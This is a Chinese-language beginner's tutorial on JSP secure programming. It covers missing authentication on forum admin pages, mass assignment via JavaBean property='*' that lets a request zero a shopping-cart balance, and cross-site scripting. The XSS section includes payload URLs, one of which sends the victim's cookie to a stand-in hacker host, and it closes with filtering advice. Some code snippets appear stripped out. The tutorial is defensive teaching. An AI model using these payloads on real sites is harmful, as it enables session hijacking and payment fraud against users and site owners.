JSP安全編程執行個體淺析(一)

Java Server Page（JSP）作為建立動態網頁的技術正在不斷升溫。JSP和ASP、PHP、工作機制不太一樣。一般說來，JSP頁面在執行時是編譯式，而不是解釋式的。首次調用JSP檔案其實是執行一個編譯為Servlet的過程。當瀏覽器向伺服器請求這一個JSP檔案的時候，伺服器將檢查自上次編譯後JSP檔案是否有改變，如果沒有改變，就直接執行Servlet，而不用再重新編譯，這樣，效率便得到了明顯提高。

今天我將和大家一起從指令碼編程的角度看JSP的安全，那些諸如源碼暴露類的安全隱患就不在這篇文章討論範圍之內了。寫這篇文章的主要目的是給初學JSP編程的朋友們提個醒，從一開始就要培養安全編程的意識，不要犯不該犯的錯誤，避免可以避免的損失。另外，我也是初學者，如有錯誤或其它意見請賜教。

一、認證不嚴——低級失誤

在溢洋論壇v1.12 修正版中，user_manager.jsp是使用者管理的頁面，作者知道它的敏感性，加上了一把鎖：

if ((session.getValue("UserName")==null)││(session.getValue("UserClass")==null)││ (! session.getValue("UserClass").equals("系統管理員"))) { response.sendRedirect("err.jsp?id=14"); return; }
 

如果要查看、修改某使用者的資訊，就要用modifyuser_manager.jsp這個檔案。管理員提交

就是查看、修改ID為51的使用者的資料（管理員預設的使用者ID為51）。但是，如此重要的檔案竟缺乏認證，普通使用者（包括遊客）也直接提交上述請求也可以對其一覽無餘（密碼也是明文儲存、顯示的）。modifyuser_manage.jsp同樣是門戶大開，直到惡意使用者把資料更新的操作執行完畢，重新導向到user_manager.jsp的時候，他才會看見那個姍姍來遲的顯示錯誤的頁面。顯然，只鎖一扇門是遠遠不夠的，編程的時候一定要不厭其煩地為每一個該加身份認證的地方加上身份認證。

二、守好JavaBean的入口

JSP組件技術的核心是被稱為bean的java組件。在程式中可把邏輯控制、資料庫操作放在javabeans組件中，然後在JSP檔案中調用它，這樣可增加程式的清晰度及程式的可重用性。和傳統的ASP或PHP頁面相比，JSP頁面是非常簡潔的，因為許多動態網頁面處理過程可以封裝到JavaBean中。

要改變JavaBean屬性，要用到“”標記。 下面的代碼是假想的某電子購物系統的源碼的一部分，這個檔案是用來顯示使用者的購物框中的資訊的，而checkout.jsp是用來結帳的。

       You have added the item  to your basket.  Your total is $  Proceed to checkout
 

注意到property="*"了嗎？這表明使用者在可見的JSP頁面中輸入的，或是直接通過Query String提交的全部變數的值，將儲存到匹配的bean屬性中。

一般，使用者是這樣提交請求的： http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342 但是不守規矩的使用者呢？他們可能會提交： http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0

這樣，balance=0的資訊就被在儲存到了JavaBean中了。當他們這時點擊“chekout”結賬的時候，費用就全免了。

這與PHP中全域變數導致的安全問題如出一轍。由此可見：“property="*"”一定要慎用！

三、長盛不衰的跨站指令碼

跨站指令碼（Cross Site Scripting）攻擊是指在遠程WEB頁面的HTML代碼中手插入惡意的JavaScript, VBScript, ActiveX, HTML, 或Flash等指令碼，竊取瀏覽此頁面的使用者的隱私，改變使用者的設定，破壞使用者的資料。跨站指令碼攻擊在多數情況下不會對伺服器和WEB程式的運行造成影響，但對用戶端的安全構成嚴重的威脅。

以仿動網的阿菜論壇（beta-1）舉個最簡單的例子。當我們提交 http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>alert(document.cookie) 便能彈出包含自己cookie資訊的對話方塊。而提交 http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location='http://www.163.com' 就能重新導向到網易。

由於在返回“name”變數的值給用戶端時，指令碼沒有進行任何編碼或過濾惡意代碼，當使用者訪問嵌入惡意“name”變數資料連結時，會導致指令碼代碼在使用者瀏覽器上執行，可能導致使用者隱私泄露等後果。比如下面的連結：
http://www.somesite.com/acjspbbs/dispuser.jsp? name=someuser<;script>document.location=' http://www.hackersite.com/xxx.xxx?'+document.cookie

xxx.xxx用於收集後邊跟的參數，而這裡參數指定的是document.cookie，也就是訪問此連結的使用者的cookie。在ASP世界中，很多人已經把偷cookie的技術練得爐火純青了。在JSP裡，讀取cookie也不是難事。當然，跨站指令碼從來就不會局限於偷cookie這一項功能，相信大家都有一定瞭解，這裡就不展開了。

對所有動態網頁面的輸入和輸出都應進行編碼，可以在很大程度上避免跨站指令碼的攻擊。遺憾的是，對所有不可信資料編碼是資源密集型的工作，會對 Web 服務器產生效能方面的影響。常用的手段還是進行輸入資料的過濾，比如下面的代碼就把危險的字元進行替換：

 

更積極的方式是利用Regex只允許輸入指定的字元：

public boolean isValidInput(String str) { if(str.matches("[a-z0-9]+")) return true; else return false; }